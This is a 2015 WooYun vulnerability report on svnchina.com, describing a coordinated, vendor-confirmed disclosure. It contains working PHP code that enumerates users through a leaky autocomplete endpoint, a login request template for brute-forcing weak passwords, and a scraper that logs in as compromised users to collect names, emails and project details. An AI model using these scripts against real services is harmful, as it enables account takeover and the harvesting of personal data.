当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110912

漏洞标题:svnchina中国源代码托管平台设计缺陷导致密码门事件

相关厂商:svnchina.com

漏洞作者: 冰海

提交时间:2015-04-29 10:08

修复时间:2015-06-17 16:00

公开时间:2015-06-17 16:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-29: 细节已通知厂商并且等待厂商处理中
2015-05-03: 厂商已经确认,细节仅向厂商公开
2015-05-13: 细节向核心白帽子及相关领域专家公开
2015-05-23: 细节向普通白帽子公开
2015-06-02: 细节向实习白帽子公开
2015-06-17: 细节向公众公开

简要描述:

处处留心皆学问……

详细说明:

0x00 发现漏洞
在使用svnchina的某个功能时,发现了某处用户体验特别好的地方,如下:

1.png


这是在创建新项目邀请开发人员的地方提供的一个功能,输入3个字符后即会返回所有包含这三个字符的所有svnchina的用户,在普通人眼里没觉得什么,可能还会觉得体验很不错,但是在白帽子的眼里可不这样认为,很大的安全隐患,本人首先想到的是可以利用这一点跑网站的用户。抓包得到接口地址为:

http://www.svnchina.com/project_ac.php?term=


GET请求,传递参数为"zha"即可返回包含字符串"zha"的所有用户,如下(返回结果颇多):

2.png


0x01 挖掘用户
1.生成字典:
首先需要生成参数字典,期初的想法是用aaa,aab,aac,aad,aae,.....的字典去抓取用户,字典生成后又被自己否定,字典太大,请求次数太多,数据重复量会比较大,用户质量也不高。故想到一妙计,用百家姓姓氏去抓取网站的用户,可行之处是svnchina一般为团队协作开发,故账号一般为用户真实姓名,如zhangsan,lisi,wangwu这种的,这样的用户账号质量比较高。在生成百家姓字典时着实费了一番功夫,网上没有现成的,基本上都是中文+拼音音标,在此写第一个php脚本处理百家姓字典,把音标都去掉,只留拼音,如zhang,wang,li,zhao等,每行一个,共生成400多个百家姓字典。
2.执行php脚本抓取svn用户,核心代码示例:

//调用接口查用户
function getUser($name){
$name = urlencode($name);
$ch = curl_init();
$data = array (
'term'=>$name
);
$header[] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";//定义content-type为xml
$cookie_file = dirname(__FILE__) . '/cookie.txt';
$url = 'http://www.svnchina.com/project_ac.php?term='.$name;
echo $url.'\n';
curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_HTTPHEADER, $header);//设置HTTP头
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);//设置HTTP头
curl_setopt($ch, CURLOPT_POST, 1);
//curl_setopt($ch,CURLOPT_REFERER,'http://www.tuling123.com/openapi/cloud/proexp.jsp');
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
//curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$return = curl_exec($ch);
curl_close($ch);
//var_dump(curl_error($ch)); //打印curl出错信息
//echo $return;exit;
return $return;
}


返回结果经过处理后写入文本,每行一个。程序执行结束后返回结果为13多万条,去重后获得3万多个真实用户,去重用工具或脚本都可以。
0x02 猜解用户密码

3.png


svnchina用户登录表单没有加验证码,并且没有输入密码错误次数限制,导致可以无限跑字典破解用户密码,这里使用弱口令进行破解,用工具抓包:

GET /login.php?password=§1§&username=§zhangyu§ HTTP/1.1
Host: www.svnchina.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.svnchina.com/
Cookie: PHPSESSID=7g9cbeugagfo28ecua9sbs8bk4
Connection: keep-alive


1.用用户名和密码一样的字典组合进行跑包,如zhangsan:zhangsan,返回结果为true即为密码正确,利用这种组合获得用户账号密码2375条记录。

4.png


2.用弱口令123456和用户名组合进行跑包,如zhangsan:123456,首先对上面用户列表去重,然后进行跑包,减少请求次数,也节省时间,密码为123456的返回结果有1379条,其它的弱口令数量比较少,不计在内,在3万多用户中用如此之多的用户使用了这么简单的密码,也真实佩服这些用户的安全意识了,跑出这么多用户后心哇凉哇凉的,有点同情这些哥们……

漏洞证明:

0x03 漏洞利用升级
ps:猜解这些用户的账号密码还有下面所提到的攻击手法只是为了演示弱口令的危害性,用数据说话,请不要歪解……
拿到用户的账号密码后可以登录svnchina获取用户更为真实的信息,如真实姓名、邮箱、创建项目、加入项目、项目名称、项目成员、项目路径等等一些列信息,这些用php模拟用户登录都可以抓取到,附部分抓取脚本,正则太烂了,稀里糊涂写出来的,功能都可以实现:

$url='http://www.svnchina.com/project.php';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE,$cookie);
set_time_limit(0); // 最大执行时间这里设置300秒
$contents = curl_exec($ch);
//echo $contents;exit;
preg_match_all("%用户名 : <label>(.*?)</label></p>%si", $contents, $usernames);//用户名
preg_match_all("%用户组 : <label>(.*?)<label>
</p>
%si", $contents, $group);//用户组
preg_match_all("%真实姓名 :<label>(.*?)<label></p>
<p>%si", $contents, $realName);//真实姓名
preg_match_all("%Email : <label>(.*?)<label></p>
<p>
%si", $contents, $email);//Email
preg_match_all("%<div class=\"portlet-header\">我创建的项目:共(.*?)个</div>
<div class=\"portlet-content\">
%si", $contents, $projectCreateCount);//创建的项目数
preg_match_all("%<div class=\"portlet-header\">我加入的项目:共(.*?)个</div>
<div class=\"portlet-content\">
%si", $contents, $projectShareCount);//加入的项目数
preg_match_all("%title=\"
SVN地址:(.*?)<br>
项目成员%si", $contents, $projectUrl);//SVN地址
//echo($projectUrl[1][0]);echo($projectUrl[1][1]);exit;
preg_match_all("%项目成员:(.*?)<p>\S*</p>\">%si", $contents, $projectPeople);//项目成员
//echo($projectPeople[1][0]);echo($projectPeople[1][1]);exit;
preg_match_all("%</p>\">(.*?)</a>
</td>
<td>%si", $contents, $projectName);//项目名
preg_match_all("%</a>
</td>
<td>(.*?)</td>
<td>%si", $contents, $projectCreator);//项目创建人
preg_match_all("%</p>\">(.*?)</td>
</tr>
<tr>
%si", $contents, $projectInfo);//项目信息


附部分抓取结果:

5.png


0x04 尾声
上述事件最大的责任在于网站开发者,其二在于用户的安全意识。网站开发者站在用户的角度考虑是正确的,看似给用户提供了一个体验比较好的功能,但是在白帽子或者黑客的眼里这都是特别危险的。

修复方案:

1.去掉可以获取用户账号的接口,邀请开发成员加入项目时不需要要提供此功能,一般开发为个人或一个团队,大家都相互认识,问个用户名也不是什么复杂的事;
2.网站登录处加验证码限制,同时加密码输入错误次数限制,防止猜解用户密码的行为。

版权声明:转载请注明来源 冰海@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-03 15:58

厂商回复:

谢谢您对本次漏洞的指出.我们已经第一时间尽快修复该问题.

最新状态:

暂无